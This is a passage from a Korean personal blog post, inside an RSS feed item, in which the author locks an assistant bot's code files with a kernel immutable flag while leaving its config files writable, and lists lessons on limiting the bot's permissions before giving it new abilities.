&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;11:1-11:117;521-637&quot; data-ke-size=&quot;size16&quot;&gt;이게 양날의 검이다. V2(말로 시키면 바뀌는 것)는 이 능력이 있어야 가능하다. 동시에 &amp;mdash; 봇이 실수하거나 지시가 꼬이면 시스템을 망가뜨릴 수도 있다는 뜻이다. 그리고 지금은 그걸 막는 게 아무것도 없었다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;13:1-13:29;639-667&quot; data-ke-size=&quot;size26&quot;&gt;결정적 사실 하나 &amp;mdash; 브리핑은 봇이 안 돌린다&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;15:1-15:103;669-771&quot; data-ke-size=&quot;size16&quot;&gt;겁이 났지만, 조사하다 안심되는 사실을 하나 찾았다. 매일 새벽 도는 아침 브리핑은 봇이 돌리는 게 아니라, 시스템 스케줄러(cron)가 직접 돌린다. 봇은 그 경로를 거치지 않는다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;17:1-17:131;773-903&quot; data-ke-size=&quot;size16&quot;&gt;이게 왜 중요하냐면 &amp;mdash; 봇 권한을 아무리 조여도 브리핑은 영향을 안 받는다는 뜻이다. cron은 로직 파일을 그냥 읽고 실행만 하지, 쓰지 않으니까. 봇과 브리핑이 구조적으로 분리돼 있어서, 봇한테 안전벨트를 매도 브리핑은 멀쩡하다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;19:1-19:21;905-925&quot; data-ke-size=&quot;size26&quot;&gt;발상을 뒤집으니 답이 단순해졌다&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;21:1-21:146;927-1072&quot; data-ke-size=&quot;size16&quot;&gt;처음엔 &quot;봇이 설정 파일을 못 건드리게 잠그고, 검증된 스크립트로만 바꾸게 하자&quot;고 생각했다. 그런데 함정이 있었다. 봇도, 그 스크립트도 같은 사용자로 도니까 &amp;mdash; 같은 사용자는 자기 자신을 못 잠근다. 잠그려면 매번 관리자 권한이 끼어들어야 해서 복잡해졌다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;23:1-23:117;1074-1190&quot; data-ke-size=&quot;size16&quot;&gt;그러다 발상을 뒤집었다. 잠글 대상을 거꾸로 본 것이다. 봇이 바꿔야 할 건 데이터(설정 파일)뿐이고, 시스템을 망가뜨리는 건 로직(코드 파일) 손상이다. 그렇다면 &amp;mdash; 데이터는 열어두고, 로직만 잠그면 된다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;25:1-25:169;1192-1360&quot; data-ke-size=&quot;size16&quot;&gt;이러면 다 풀린다. 봇이 설정은 자유롭게 바꿔 V2가 그대로 되고, 시스템을 깨뜨리는 코드 수정만 막힌다. 중간 스크립트도, 복잡한 관리자 권한 설정도 필요 없어졌다. 설정 파일이 잘못 써져도 이미 새벽 파이프라인이 그걸 감지해서 실패 알림을 보내는 안전장치가 있으니, 그 부분도 이미 커버돼 있었다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;27:1-27:19;1362-1380&quot; data-ke-size=&quot;size26&quot;&gt;잠그기 &amp;mdash; 커널 레벨 불변화&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;29:1-29:153;1382-1534&quot; data-ke-size=&quot;size16&quot;&gt;로직 파일 다섯 개에 시스템 불변 플래그(schg)를 걸었다. 이건 커널 레벨이라, 소유자라도 관리자 권한 없이는 못 푼다. 봇이 아무리 권한이 세도 이 파일들은 못 건드린다. 봇이 스스로 플래그를 풀려고 해도 &amp;mdash; 그건 관리자만 할 수 있어서 실패한다. 이게 핵심 방어다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;31:1-31:160;1536-1695&quot; data-ke-size=&quot;size16&quot;&gt;거는 건 관리자 명령 한 줄이었다. 걸고 나서 확인해보니 다섯 개 다 잠겼고, 설정 파일은 그대로 열려 있었다. 그리고 잠긴 상태에서도 코드 읽기&amp;middot;파싱이 정상이라 &amp;mdash; 새벽 브리핑이 안 깨진다는 걸 그 자리에서 확인했다. 읽기와 실행은 막지 않고, 쓰기&amp;middot;삭제만 막는 플래그이기 때문이다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;33:1-33:123;1697-1819&quot; data-ke-size=&quot;size16&quot;&gt;대신 대가가 있다. 이제 나도 이 코드를 바로 못 고친다. 고치려면 잠금을 풀고, 수정하고, 다시 잠그는 세 단계를 거쳐야 한다. 봇이 함부로 못 바꾸게 만든 대가로, 나도 한 단계 더 거치는 것이다. 의도된 마찰이다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;35:1-35:6;1821-1826&quot; data-ke-size=&quot;size26&quot;&gt;교훈&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-sourcepos=&quot;37:1-40:72;1828-2104&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;37:1-37:62;1828-1889&quot;&gt;기능을 주기 전에 권한부터 봐라. 봇이 &quot;못 하는&quot; 것처럼 보여도, 실은 막아두지 않은 것일 수 있다.&lt;/li&gt;
&lt;li data-sourcepos=&quot;38:1-38:74;1890-1963&quot;&gt;잠글 대상을 정할 때 발상을 뒤집어 보라. 지키려는 것(데이터)을 잠그려다 막혔는데, 위험한 것(로직)만 잠그니 단순해졌다.&lt;/li&gt;
&lt;li data-sourcepos=&quot;39:1-39:69;1964-2032&quot;&gt;안전장치가 본체를 안 깨뜨리는지 구조부터 확인하라. 브리핑이 봇과 분리돼 있다는 사실 하나가 모든 걱정을 덜어줬다.&lt;/li&gt;
&lt;li data-sourcepos=&quot;40:1-40:72;2033-2104&quot;&gt;사람이 실수해도 안전한 쪽으로 마찰을 설계하라. 코드 수정에 세 단계를 거는 건 불편하지만, 그 불편이 시스템을 지킨다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;42:1-42:89;2106-2194&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; V2의 첫 단추를 끼우기 전에, 봇에게 안전벨트부터 맸다. 다음은 셸 명령 제한을 한 겹 더 두르고, 그다음에야 &quot;말로 시키면 바뀌는&quot; 첫 기능으로 간다.&lt;/p&gt;</description>
      <category>맥미니 OpenClaw 비서 봇 만들기</category>
      <author>제스풀</author>
      <guid isPermaLink="true">https://zestfulpulse.tistory.com/63</guid>
      <comments>https://zestfulpulse.tistory.com/63#entry63comment</comments>
      <pubDate>Tue, 23 Jun 2026 21:34:01 +0900</pubDate>
    </item>
  </channel>
</rss>